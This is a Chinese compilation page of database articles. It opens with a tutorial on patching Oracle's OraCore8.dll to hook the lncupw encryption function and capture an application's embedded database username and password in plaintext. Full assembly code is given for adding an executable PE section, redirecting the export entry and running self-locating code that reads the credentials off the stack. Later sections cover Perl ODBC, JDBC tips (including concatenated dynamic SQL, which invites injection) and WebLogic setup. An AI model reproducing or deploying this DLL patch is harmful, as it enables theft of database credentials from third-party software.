对于这一类系统,所有在(2)或者(3)处监听到的登录数据包都是已经经过加密的,但是,考虑一下我们编写 Oracle 数据库应用程序的时候,无论是通过 ODBC 还是 Pro C,或者其他的 BDE 环境等,都是将数据库连接的用户名和密码用明文的方式传递给 Oracle 客户端驱动程序的,所以在(1)位置的数据流肯定明文的,密码是在 Oracle 客户端软件中被加密后才经过(2)、(3)等步骤发送出去,如果在(1)的位置进行拦截,就可能拦截到密码。

考虑到步骤(1)发生在应用程序到 Oracle 系统的调用中,也就是发生在 API 调用的层次,所以只要找到密码加密模块的入口,在对相应的 API 进行 Hook,就能截获到密码了。

有人可能存在一个疑问:使用 Sniffer 可以监听到网络上其他计算机的连接数据包,而在 API 层次上进行拦截是针对本机的,但要是自己能够在本机上连接,就表示已经知道密码了,再去截获不是多此一举吗?

非也!

实际上大部分的 Oracle 应用程序都包括一个用户开发的客户端,这个客户端可能是用 C、PowerBuilder 和其他语言开发的,这些软件提供一个界面提示用户输入用户名和密码登录系统,但是这个用户名和密码并不是数据库的连接用户名和密码,而仅仅是一个类似于 users 表中的一条记录而已,而程序内部内置的数据库连接帐号才是我们的目标,一般来说,客户端应用程序是这样工作的:

1. 使用一个内置的数据库连接帐号连接到数据库。

2. 弹出一个对话框提示用户输入用户名 xxx 和密码 yyy

3. 使用类似于 select * from users where username='xxx' and password='yyy' 一类的 SQL 语句查询用户是否有权登录系统。

我们的目标就是步骤1中的连接帐号,这个帐号存在于客户端软件中,虽然可能已经被静态加密(也就是说用16进制软件去搜寻可执行文件时并不能被找到),但它运行后需要连接数据库的时候必然会被解密并用明文传递到 Oracle 客户端软件中。

方法

好了,现在来看看具体的实现方法。

1. 相关的调用

第一步当然要知道在哪里下手,经过了一番跟踪以后(这里省去跟踪的步骤 n 步,大家可以尝试自己跟踪一下),就可以发现用户名和密码是在 OraCore8.dll 模块中的 lncupw 函数中被加密的,而且这个函数的调用方法如下:

invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1

函数的入口参数包括明文的数据库连接用户名和密码,以及他们的长度,运行的结果是在第一个参数Output指定的缓冲区中返回加密后的数据,以后这个加密后的数据会被发送到服务器端进行认证。

2. 具体的实现方案

我们的方法就是在对 OraCore8.dll 进行补丁,在 dll 文件中附加一段代码,然后修改 dll 的导出表中 lncupw 函数对应的入口地址,将它指向到附加的代码中,然后由这段代码在堆栈中取出用户名和密码并显示出来,完成这个步骤后再跳转到原始的 lncupw 函数的入口地址去执行原有的功能。

这个方案涉及到两个技术问题,第一是对 dll 文件的修改问题,这个问题可以归结为在 PE 文件后添加可执行代码的方法问题,第二就是写被附加到 dll 文件后的程序体的问题。

对 dll 文件的修改代码的片断如下,在这以前,我们假定已经做了其他这样一些工作:

※ 文件名字符串放在 szFileName 指定的缓冲区中。

※ 已经对文件进行校验,找到了导出表中的 lncupw 项目,这个项目在文件中的 Offset 放在 dwOffsetPeHeand 中,lncupw 的原始入口RVA放在 dwProcEntry 变量中。

※ 找出了 dll 文件中的 PE 文件头位置,并拷贝 PE 文件头到 lpPeHead 指定的位置中。

invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \ FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL .if eax == INVALID_HANDLE_VALUE invoke MessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERROR jmp _Ret .endif mov @hFile,eax ;******************************************************************** ; esi -->原PeHead ; edx -->最后一个节表,ebx -->新加的节表 ;******************************************************************** mov esi,lpPeHead assume esi:ptr IMAGE_NT_HEADERS movzx eax,[esi].FileHeader.NumberOfSections dec eax mov ecx,sizeof IMAGE_SECTION_HEADER mul ecx mov edx,esi add edx,eax add edx,sizeof IMAGE_NT_HEADERS mov ebx,edx add ebx,sizeof IMAGE_SECTION_HEADER assume ebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER ;******************************************************************** ; 加入一个新的节,并修正一些PE头部的内容 ;******************************************************************** inc [esi].FileHeader.NumberOfSections mov eax,[edx].PointerToRawData add eax,[edx].SizeOfRawData mov [ebx].PointerToRawData,eax invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignment mov [ebx].SizeOfRawData,eax invoke _Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignment add [esi].OptionalHeader.SizeOfCode,eax ;修正SizeOfCode add [esi].OptionalHeader.SizeOfImage,eax ;修正SizeOfImage invoke _Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignment add eax,[edx].VirtualAddress mov [ebx].VirtualAddress,eax mov [ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODE mov [ebx].Characteristics,IMAGE_SCN_CNT_CODE\ or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE invoke lstrcpy,addr [ebx].Name1,addr szMySection ;******************************************************************** ; 写文件 ;******************************************************************** invoke SetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGIN invoke WriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,\ addr @dwTemp,NULL invoke SetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGIN invoke WriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\ addr @dwTemp,NULL mov eax,[ebx].PointerToRawData add eax,[ebx].SizeOfRawData invoke SetFilePointer,@hFile,eax,NULL,FILE_BEGIN invoke SetEndOfFile,@hFile ;******************************************************************** ; 修正新加代码中的 Jmp oldEntry 指令 ;******************************************************************** mov eax,[ebx].VirtualAddress add eax,(offset _dwOldEntry-offset APPEND_CODE+4) sub dwProcEntry,eax mov ecx,[ebx].PointerToRawData add ecx,(offset _dwOldEntry-offset APPEND_CODE) invoke SetFilePointer,@hFile,ecx,NULL,FILE_BEGIN invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL ;******************************************************************** ; 修正入口指针 ;******************************************************************** mov eax,[ebx].VirtualAddress add eax,(offset _NewEntry-offset APPEND_CODE) mov dwProcEntry,eax invoke SetFilePointer,@hFile,dwOffsetProc,NULL,FILE_BEGIN invoke WriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL ;******************************************************************** ; 关闭文件 ;******************************************************************** invoke CloseHandle,@hFile _Ret: ; 修改完成

这段代码完成了3个步骤,首先是扫描PE文件头中的节表,并在最后添加一个新的节,以便把附加的代码写到这个节中,这个节的属性被设置为可执行、可读、可写,因为代码运行需要的数据区也放在这里。然后程序修改附加代码最后的 jmp 指令,将它指到原始的 lncupw 函数中。最后程序在 dll 的导出表中将 lncupw 函数的入口地址指向附加代码中。

下面是被附加到 dll 后的代码,这段代码被写成可以自我定位的格式,代码首先在内存中找出 Kernel32.dll 的位置并从中找出 LoadLibrary 函数和 GetProcAddress 函数的地址,然后调用这两个函数获取其他一系列要用到的函数的入口地址:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 要被添加到 OraCore8.dll 文件后面的执行代码 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; ; ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 一些函数的原形定义 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_ProtoGetProcAddress typedef proto :dword,:dword _ProtoLoadLibrary typedef proto :dword _ProtoMessageBox typedef proto :dword,:dword,:dword,:dword _Protowsprintf typedef proto c :dword,:VARARG _ApiGetProcAddress typedef ptr _ProtoGetProcAddress _ApiLoadLibrary typedef ptr _ProtoLoadLibrary _ApiMessageBox typedef ptr _ProtoMessageBox _Apiwsprintf typedef ptr _Protowsprintf ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; ; APPEND_CODE equ this byte ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 被添加到目标文件中的代码从这里开始 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>hDllKernel32 dd ? hDllUser32 dd ? _GetProcAddress _ApiGetProcAddress ? _LoadLibrary _ApiLoadLibrary ? _MessageBox _ApiMessageBox ? _wsprintf _Apiwsprintf ? szLoadLibrary db 'LoadLibraryA',0 szGetProcAddress db 'GetProcAddress',0 szUser32 db 'user32',0 szMessageBox db 'MessageBoxA',0 szwsprintf db 'wsprintfA',0 szCaption db 'Oracle 8i 密码截取补丁',0 szFormatPwd db '截获 Oracle 连接:',0dh,0ah,0dh,0ah db '用户名:%s',0dh,0ah db '密 码:%s',0 szTmpBuffer db 512 dup (?) szUserName db 64 dup (?) szPassWord db 64 dup (?) ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 错误 Handler ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_SEHHandler proc _lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContext pushad mov esi,_lpExceptionRecord mov edi,_lpContext assume esi:ptr EXCEPTION_RECORD,edi:ptr CONTEXT mov eax,_lpSEH push [eax + 0ch] pop [edi].regEbp push [eax + 8] pop [edi].regEip push eax pop [edi].regEsp assume esi:nothing,edi:nothing popad mov eax,ExceptionContinueExecution ret _SEHHandler endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 在内存中扫描 Kernel32.dll 的基址 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>szKernel32 db 'KERNEL32' _GetKernelBase proc _dwKernelRet local @dwReturn pushad mov @dwReturn,0 ;******************************************************************** ; 重定位 ;******************************************************************** call @F @@: pop ebx sub ebx,offset @B ;******************************************************************** ; 创建用于错误处理的 SEH 结构 ;******************************************************************** assume fs:nothing push ebp lea eax,[ebx + offset _PageError] push eax lea eax,[ebx + offset _SEHHandler] push eax push fs:[0] mov fs:[0],esp ;******************************************************************** ; 查找 Kernel32.dll 的基地址 ;******************************************************************** mov edi,_dwKernelRet and edi,0ffff0000h .while TRUE .if word ptr [edi] == IMAGE_DOS_SIGNATURE mov esi,edi add esi,[esi+003ch] .if word ptr [esi] == IMAGE_NT_SIGNATURE assume esi:ptr IMAGE_NT_HEADERS mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress add esi,edi assume esi:ptr IMAGE_EXPORT_DIRECTORY mov esi,[esi].nName add esi,edi mov ecx,sizeof szKernel32 push edi lea edi,[ebx+szKernel32] cld repz cmpsb pop edi .if ZERO? mov @dwReturn,edi .break .endif assume esi:nothing .endif .endif _PageError: sub edi,010000h .break .if edi < 70000000h .endw pop fs:[0] add esp,0ch popad mov eax,@dwReturn ret _GetKernelBase endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 从内存中模块的导出表中获取某个 API 的入口地址 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_GetApi proc _hModule,_lpszApi local @dwReturn,@dwStringLength pushad mov @dwReturn,0 ;******************************************************************** ; 重定位 ;******************************************************************** call @F @@: pop ebx sub ebx,offset @B ;******************************************************************** ; 创建用于错误处理的 SEH 结构 ;******************************************************************** assume fs:nothing push ebp lea eax,[ebx + offset _Error] push eax lea eax,[ebx + offset _SEHHandler] push eax push fs:[0] mov fs:[0],esp ;******************************************************************** ; 计算 API 字符串的长度(带尾部的0) ;******************************************************************** mov edi,_lpszApi mov ecx,-1 xor al,al cld repnz scasb mov ecx,edi sub ecx,_lpszApi mov @dwStringLength,ecx ;******************************************************************** ; 从 PE 文件头的数据目录获取导出表地址 ;******************************************************************** mov esi,_hModule add esi,[esi + 3ch] assume esi:ptr IMAGE_NT_HEADERS mov esi,[esi].OptionalHeader.DataDirectory.VirtualAddress add esi,_hModule assume esi:ptr IMAGE_EXPORT_DIRECTORY ;******************************************************************** ; 查找符合名称的导出函数名 ;******************************************************************** mov ebx,[esi].AddressOfNames add ebx,_hModule xor edx,edx .repeat push esi mov edi,[ebx] add edi,_hModule mov esi,_lpszApi mov ecx,@dwStringLength repz cmpsb .if ZERO? pop esi jmp @F .endif pop esi add ebx,4 inc edx .until edx >= [esi].NumberOfNames jmp _Error @@: ;******************************************************************** ; API名称索引 -->序号索引 -->地址索引 ;******************************************************************** sub ebx,[esi].AddressOfNames sub ebx,_hModule shr ebx,1 add ebx,[esi].AddressOfNameOrdinals add ebx,_hModule movzx eax,word ptr [ebx] shl eax,2 add eax,[esi].AddressOfFunctions add eax,_hModule ;******************************************************************** ; 从地址表得到导出函数地址 ;******************************************************************** mov eax,[eax] add eax,_hModule mov @dwReturn,eax _Error: pop fs:[0] add esp,0ch assume esi:nothing popad mov eax,@dwReturn ret _GetApi endp ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 新的入口地址 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_NewEntry: ;******************************************************************** ; 重定位并获取一些 API 的入口地址 ;******************************************************************** pushad call @F @@: pop ebx sub ebx,offset @B ;******************************************************************** .if dword ptr [ebx+_MessageBox] jmp @F .endif ;******************************************************************** invoke _GetKernelBase,7b000000h ;获取Kernel32.dll基址 or eax,eax jz _ToOldEntry mov [ebx+hDllKernel32],eax ;获取GetProcAddress入口 lea eax,[ebx+szGetProcAddress] invoke _GetApi,[ebx+hDllKernel32],eax or eax,eax jz _ToOldEntry mov [ebx+_GetProcAddress],eax lea eax,[ebx+szLoadLibrary] ;获取LoadLibrary入口 invoke [ebx+_GetProcAddress],[ebx+hDllKernel32],eax or eax,eax jz _ToOldEntry mov [ebx+_LoadLibrary],eax lea eax,[ebx+szUser32] ;获取User32.dll基址 invoke [ebx+_LoadLibrary],eax or eax,eax jz _ToOldEntry mov [ebx+hDllUser32],eax lea eax,[ebx+szMessageBox] ;获取MessageBox入口 invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax mov [ebx+_MessageBox],eax or eax,eax jz _ToOldEntry lea eax,[ebx+szwsprintf] ;获取MessageBox入口 invoke [ebx+_GetProcAddress],[ebx+hDllUser32],eax mov [ebx+_wsprintf],eax or eax,eax jz _ToOldEntry ;******************************************************************** ; 程序功能开始 ;******************************************************************** ; lncupw 的调用方式是: ; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1 ; 现在的堆栈内容是: ; ... ; esp+14*4 dwLenUserName ; esp+13*4 addr szUserName ; esp+12*4 dwLenPass ; esp+11*4 addr szPassword ; esp+10*4 1eh ; esp+9*4 addr Output ; esp+8*4 call's return address ; esp+到esp+8*4 pusha 推入堆栈的8个寄存器值 ; ; 所以,从 esp+13*4 和 esp+11*4 取出的就是 Oracle 应用程序 ; 传递进来的用来连接数据库的用户名和密码地址, ;******************************************************************** @@: mov esi,[esp+13*4] ;username lea edi,[ebx+szUserName] mov ecx,[esp+14*4] cmp ecx,60 jle @F mov ecx,60 @@: cld rep movsb xor eax,eax stosb mov esi,[esp+11*4] ;password lea edi,[ebx+szPassWord] mov ecx,[esp+12*4] cmp ecx,60 jle @F mov ecx,60 @@: rep movsb xor eax,eax stosb lea eax,[ebx+szUserName] lea ecx,[ebx+szPassWord] lea edx,[ebx+szFormatPwd] lea esi,[ebx+szTmpBuffer] invoke [ebx+_wsprintf],esi,edx,eax,ecx lea ecx,[ebx+szTmpBuffer] lea eax,[ebx+szCaption] invoke [ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION ;******************************************************************** ; 执行原来的文件 ;******************************************************************** _ToOldEntry: popad db 0e9h ;0e9h是jmp xxxxxxxx的机器码 _dwOldEntry: dd ? ;用来填入原来的 lncupw 函数的入口地址 ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>APPEND_CODE_END equ this byte

对 OraCore8.dll 进行了这样的补丁以后,凡是有应用程序连接 Oracle 数据库,附加代码就可以截获到连接所用的用户名和密码并通过一个 MessageBox 显示出来了!

原文转自:www.ltesting.net

篇7:Perl下应当如何连接Access数据库数据库教程

首先需要安装Win32-ODBC模块,具体的步骤如下:

1:从TOOLS栏目中下载Win32-ODBC.zip,下载完后用winzip解开到一个temp目录,共有三个文件:

Readme

Win32-ODBC.ppd

Win32-ODBC.tar.gz

2:在DOS窗口下,temp目录中运行下面的DOS命令:ppm install Win32-ODBC.ppd,

然后准备测试用数据库(Access)

1:启动MS ACCESS,建立一个新空数据库,命名为odbctest.mdb,保存在某一目录中(记住路径)。

2:然后新建一个表,建立三个字段:

字段名称 数据类型 长度

Name 字符, 长度50

Email 字符, 长度50

Age 数字、长整型

将这个表保存为address(注意这个例子中,没有用自动增加的ID。输入若干记录:

以下为引用的内容:

Nighthawk nighthawk@163.net 20 1234567

John jt@163.net 24 0284393293

kit kit@21cn.com 18 3948932

保存后,关闭数据库文件。

3:打开控制面板中的 ODBC数据源(32位),在用户DSN栏中,找到用户数据源列表,选中名称为“MS Access 97 Database”的一行,然后按“配置”键。

在Database框中按“Select..”,选择步骤1.2中建立的数据库文件odbctest.mdb,按OK即可。ODBC设置中的其它项目全部采用缺省设置,然后就是OK,确定,关闭对话窗口。

最后进行测试:

以下为引用的内容:

#!/usr/bin/perl

use Win32::ODBC;

$DSN = ”MS Access 97 Database“;

$DBase = ”access.mdb“;

#连接数据库

if (!($db = new Win32::ODBC($DSN))){

print ”连接数据库失败.n“;

exit;

}

else{

print ”连接数据库成功 (连接号:“, $db->Connection(), ”)nn“;

}

#数据库中的表

print ”数据库中的表:“;

@tables = $db->TableList;

print @tables;

print ”n“;

#选择数据表

if (! $db->Sql(”SELECT * FROM [address] WHERE age>=20“) ){

@FieldNames = $db->FieldNames();

$Cols = $#FieldNames + 1;

#表中字段数

print ”表address字段数:$Colsn“;

#字段列表

for ($i = 0; $i < $Cols; $i++){

print ”$FieldNames[$i]t“;

}

print ”n“;

#列出年龄大于20的记录

while($db->FetchRow()) {

@values = $db->Data();

print @values;

print ”n“;

}

}

##### sql #########

#添加记录

$sqlinsert = ”INSERT INTO address

VALUES ('Euler', 'euler@21cn.com', 28, '021-345689')“;

#更新记录

$sqlupdate = ”UPDATE address SET age = age+10 “;

#删除记录

$sqldelete = ”DELETE FROM address WHERE name='jimtyan'“;

$rc = $db->Sql($sqlinsert);

die qq(SQL 失败 ”$sqlinsert“: ), $db->Error(), qq(n) if $rc;

$rc = $db->Sql($sqlupdate);

die qq(SQL 失败 ”$sqlupdate“: ), $db->Error(), qq(n) if $rc;

$rc = $db->Sql($sqldelete);

die qq(SQL 失败 ”$sqldelete": ), $db->Error(), qq(n) if $rc;

#关闭链接

$db->Close();

篇8:通过JDBC连接oracle数据库的几个技巧

java数据库连接(jdbc)api是一系列能够让java编程人员访问数据库的接口,各个开发商的接口并不完全相同。以下是一些技巧,这些技巧能够使我们更好地发挥系统的性能和实现更多的功能。

1、在客户端软件开发中使用thin驱动程序

在开发java软件方面,oracle的数据库提供了四种类型的驱动程序,二种用于应用软件、applets、servlets等客户端软件,另外二种用于数据库中的java存储过程等服务器端软件。在客户机端软件的开发中,我们可以选择oci驱动程序或thin驱动程序。oci驱动程序利用java本地化接口(jni),通过oracle客户端软件与数据库进行通讯。thin驱动程序是纯java驱动程序,它直接与数据库进行通讯。为了获得最高的性能,oracle建议在客户端软件的开发中使用oci驱动程序,这似乎是正确的。但我建议使用thin驱动程序,因为通过多次测试发现,在通常情况下,thin驱动程序的性能都超过了oci驱动程序。

2、关闭自动提交功能,提高系统性能

在第一次建立与数据库的连接时,在缺省情况下,连接是在自动提交模式下的。为了获得更好的性能,可以通过调用带布尔值false参数的connection类的setautocommit()方法关闭自动提交功能,如下所示:

conn.setautocommit(false);

值得注意的是,一旦关闭了自动提交功能,我们就需要通过调用connection类的commit()和rollback()方法来人工的方式对事务进行管理。

3、在动态sql或有时间限制的命令中使用statement对象

在执行sql命令时,我们有二种选择:可以使用preparedstatement对象,也可以使用statement对象。无论多少次地使用同一个sql命令,preparedstatement都只对它解析和编译一次。当使用statement对象时,每次执行一个sql命令时,都会对它进行解析和编译。这可能会使你认为,使用preparedstatement对象比使用statement对象的速度更快。然而,我进行的测试表明,在客户端软件中,情况并非如此。因此,在有时间限制的sql操作中,除非成批地处理sql命令,我们应当考虑使用statement对象。

此外,使用statement对象也使得编写动态sql命令更加简单,因为我们可以将字符串连接在一起,建立一个有效的sql命令。因此,我认为,statement对象可以使动态sql命令的创建和执行变得更加简单。

4、利用helper函数对动态sql命令进行格式化

在创建使用statement对象执行的动态sql命令时,我们需要处理一些格式化方面的问题。例如,如果我们想创建一个将名字o'reilly插入表中的sql命令,则必须使用二个相连的“''”号替换o'reilly中的“'”号。完成这些工作的最好的方法是创建一个完成替换操作的helper方法,然后在连接字符串心服用公式表达一个sql命令时,使用创建的helper方法。与此类似的是,我们可以让helper方法接受一个date型的值,然后让它输出基于oracle的to_date()函数的字符串表达式。

5、利用preparedstatement对象提高数据库的总体效率

在使用preparedstatement对象执行sql命令时,命令被数据库进行解析和编译,然后被放到命令缓冲区。然后,每当执行同一个preparedstatement对象时,它就会被再解析一次,但不会被再次编译。在缓冲区中可以发现预编译的命令,并且可以重新使用。在有大量用户的企业级应用软件中,经常会重复执行相同的sql命令,使用preparedstatement对象带来的编译次数的减少能够提高数据库的总体性能。如果不是在客户端创建、预备、执行preparedstatement任务需要的时间长于statement任务,我会建议在除动态sql命令之外的所有情况下使用preparedstatement对象。

6、在成批处理重复的插入或更新操作中使用preparedstatement对象

如果成批地处理插入和更新操作,就能够显著地减少它们所需要的时间。oracle提供的statement和 callablestatement并不真正地支持批处理,只有preparedstatement对象才真正地支持批处理。我们可以使用addbatch()和executebatch()方法选择标准的jdbc批处理,或者通过利用preparedstatement对象的setexecutebatch()方法和标准的executeupdate()方法选择速度更快的oracle专有的方法。要使用oracle专有的批处理机制,可以以如下所示的方式调用setexecutebatch():

preparedstatement pstmt3d null;

try {

((oraclepreparedstatement)

pstmt).setexecutebatch(30);

...

pstmt.executeupdate();

}

调用setexecutebatch()时指定的值是一个上限,当达到该值时,就会自动地引发sql命令执行,标准的executeupdate()方法就会被作为批处理送到数据库中。我们可以通过调用preparedstatement类的sendbatch()方法随时传输批处理任务。

7、使用oracle locator方法插入、更新大对象(lob)

oracle的preparedstatement类不完全支持blob和clob等大对象的处理,尤其是thin驱动程序不支持利用preparedstatement对象的setobject()和setbinarystream()方法设置blob的值,也不支持利用setcharacterstream()方法设置clob的值。只有locator本身中的方法才能够从数据库中获取lob类型的值。可以使用preparedstatement对象插入或更新lob,但需要使用locator才能获取lob的值。由于存在这二个问题,因此,我建议使用locator的方法来插入、更新或获取lob的值。

8、使用sql92语法调用存储过程

在调用存储过程时,我们可以使用sql92或oracle pl/sql,由于使用oracle pl/sql并没有什么实际的好处,而且会给以后维护你的应用程序的开发人员带来麻烦,因此,我建议在调用存储过程时使用sql92。

9、使用object sql将对象模式转移到数据库中

既然可以将oracle的数据库作为一种面向对象的数据库来使用,就可以考虑将应用程序中的面向对象模式转到数据库中。目前的方法是创建java bean作为伪装的数据库对象,将它们的属性映射到关系表中,然后在这些bean中添加方法。尽管这样作在java中没有什么问题,但由于操作都是在数据库之外进行的,因此其他访问数据库的应用软件无法利用对象模式。如果利用oracle的面向对象的技术,可以通过创建一个新的数据库对象类型在数据库中模仿其数据和操作,然后使用jpublisher等工具生成自己的java bean类。如果使用这种方式,不但java应用程序可以使用应用软件的对象模式,其他需要共享你的应用中的数据和操作的应用软件也可以使用应用软件中的对象模式。

篇9:WebLogic与ORACLE数据库的连接配置

weblogic6.0通过oracle客户端访问oracle.所以在weblogic6.0所在的机器上要正确安装oracle客户端才行.weblogic6.0可采用type2或type4的jdbc driver 与oracle数据库相连。下面分别介绍它们的配置方法:

type2 jdbc driver的设置方法:

oracle type2的jdbc driver是一些动态连接库(nt 是.dll,unix是.so)文件,在$wl_homebin下,以oci开头的几个目录中,具体采用哪个目录下库文件,与oracle server端及client端的版本及oracle api的版本有关,可参考weblogic6.0的联机文档.要把这些库所在的路径加到系统的环境变量中, 否则访问数据库时,weblogic6.0会报以下错误:

java.sql.sqlexception: system.loadlibrary threw java.lang.unsatisfiedlinkerror with the message ´no weblogicoci37 in java.library.path´.....

在win2000中要加到path环境变量中,如:

set path= d:weblogic6.0wlserver6.0binoci816_7;c:orant816bin;%path%

unix平台,是加到系统的library path中,如在sun上,要加到ld_library_path中,如:

export ld_library_path=/bea/weblogic6.0/lib/solaris/oci816_8:$oracle_home/lib

在hp平台上,加到shlib_path中,如:

export shlib_path=/bea/weblogic6.0/lib/hpux11/oci816_8:$oracle_home/lib;

type4 jdbc driver的设置方法:

在控制台中创建一个新的connection pool.其参数的定义如下:

url: jdbc:oracle:thin:

driver classname: oracle.jdbc.driver.oracledriver

properties:

user:数据库用户名

password:该用户的口令

server:该数据库服务器所在的ip地址,侦听端口及该数据库的连接串.

oracle里的常用命令数据库教程

Oracle 9i的数据类型数据库教程

VS 连接SQL数据库MDF文件

Oracle数据库网络与安全FAQ精粹数据库

如何让Oracle数据库始终保持优良性能

通过Backup Exec实施Oracle灾难恢复数据库

实现oracle数据库字段自增长(两种方式)

创建访问非Oracle文件的外部表格数据库

用函数简化你的字符串连接语句数据库教程

临时表在Oracle数据库与SQL Server数据库中的异同

《Perl连接Oracle数据库(推荐9篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档